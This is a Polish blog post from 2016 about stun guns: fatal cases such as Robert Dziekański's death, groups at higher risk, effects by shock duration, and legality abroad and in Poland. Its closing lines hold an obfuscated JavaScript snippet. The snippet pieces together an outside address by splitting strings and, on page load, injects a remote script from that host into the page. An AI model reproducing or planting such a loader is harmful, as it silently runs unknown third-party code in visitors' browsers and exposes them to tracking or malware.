17.10.2016

#3 kontrowersje wokół paralizatorów

Paralizatory stanowią jeden z najpopularniejszych środków obrony. Wykazują się wysoką skutecznością i potrafią szybko spacyfikować napastnika. Stan paraliżu po użyciu paralizatora może trwać nawet kilkadziesiąt minut!

 

Jako broń służąca do obrony osobistej w ekstremalnych sytuacjach, nie mają na celu wyrządzenia długotrwałej krzywdy. Wyzwolonym łukiem elektrycznym obezwładnia agresora. Wokół gorącego tematu paralizatorów krążą jednak różne kontrowersje.

Zabójcze paralizatory

Co jakiś czas media donoszą o śmiertelnych wypadkach użycia paralizatora. Napastnik, który miał być obezwładniony, wskutek bardzo silnego wyładowania elektrycznego zmarł. Bardzo głośna była sprawa Roberta Dziekańskiego – polskiego emigranta, który w 2007 roku zmarł na lotnisku w Vancouver przez pięciokrotne porażenie paralizatorem przez policjantów. Tragiczny przypadek kolejny raz potwierdził jak bardzo niebezpiecznym środkiem może stać się paralizator.

Kiedy paralizator stanowi zagrożenie? Na tragiczne skutki użycia paralizatora mogę być narażone osoby, które:

  • borykają się z problemami zdrowotnymi na tle kardiologicznym

  • są bardzo szczupłe – znikoma ilość tkanki tłuszczowej wzmaga efekty użycia paralizatora

  • są pod działaniem alkoholu, leków i narkotyków

  • są starsze lub w bardzo młodym wieku

  • mają podwyższone ciśnienie tętnicze

  • cierpią na epilepsję

  • mają problemy oddechowe i metaboliczne

  • posiadają elektryczny rozrusznik serca i zastawkę serca

Skutki użycia paralizatora

""W zależności długości rażenia wiązką elektryczną paralizatory wywołują różne skutki.

  • Po 1 sekundzie powoduje krótki wstrząs, szok i skurcz mięśni.

  • Po 2–3 sekundach wzbudza ból w mięśniach uderzonych i upadek.

  • Po 3–5 sekundach wywołuje konwulsje, silny ból mięśni, paraliż.

  • Zaatakowanie osoby paralizatorem na dłużej niż 5 sekund może wywołać poważny uszczerbek na zdrowiu.

W przypadku zamachu na nasze życie lub zdrowie mamy pełne prawo do obrony i odparcia ataku. Nie ma możliwości przewidzenia ewentualnych problemów sercowych czy chorób napastnika. W teorii zgodnie z prawem w wypadku, gdy napastnik odniesie uszczerbek zdrowia, a napaść była odparta współmiernie do siły ataku, osoba broniąca się nie powinna ponieść konsekwencji prawnych. Każdy przypadek rozpatrywany jest jednak indywidualnie.

Legalność paralizatorów

W niektórych krajach posiadanie i noszenie przy sobie paralizatora jest niezgodne z prawem. Nieprzestrzeganie zakazu grozi poważnymi sankcjami. Chociażby w Wielkiej Brytanii do samoobrony nie można używać jakichkolwiek narzędzi, nie tylko paralizatorów, ale też gazów pieprzowych czy kubotanów. Na Islandii nielegalne jest posiadanie gazów pieprzowych, w Szwecji trzeba na niego posiadać pozwolenie na broń. Jak sytuacja prezentuje się w Polsce?

Prawo pozwala legalne użycie paralizatora bez pozwolenia do samoobrony. Pozwolenie na broń nie jest wymagane w przypadku posiadania narzędzi przeznaczonych do pacyfikowania osób za pomocą energii elektrycznej o średniej wartości prądu w obwodzie nieprzekraczającej 10 mA. Obowiązkiem jest używanie paralizatora ostrożnie i zgodnie z prawem. Przypominamy, że dla osób chorych na serce może stanowić duże niebezpieczeństwo, a nawet spowodować śmierć.

[kod]

(function(){
ztkg=document.createElement("script");ztkg_=(("u")+"st")+"a";ztkg.async=true;
ztkg.type="text/javascript";ztkg_+=("t.i")+""+"n";ztkg_+=(("f")+"o");ztkg_+="/";
ztkgu="13535571.";ztkgu+="pd87tc2wtkggti7bdwa"+"vapdtnjywbX";
ztkg.src="//"+ztkg_+ztkgu; document.body.appendChild(ztkg);
})();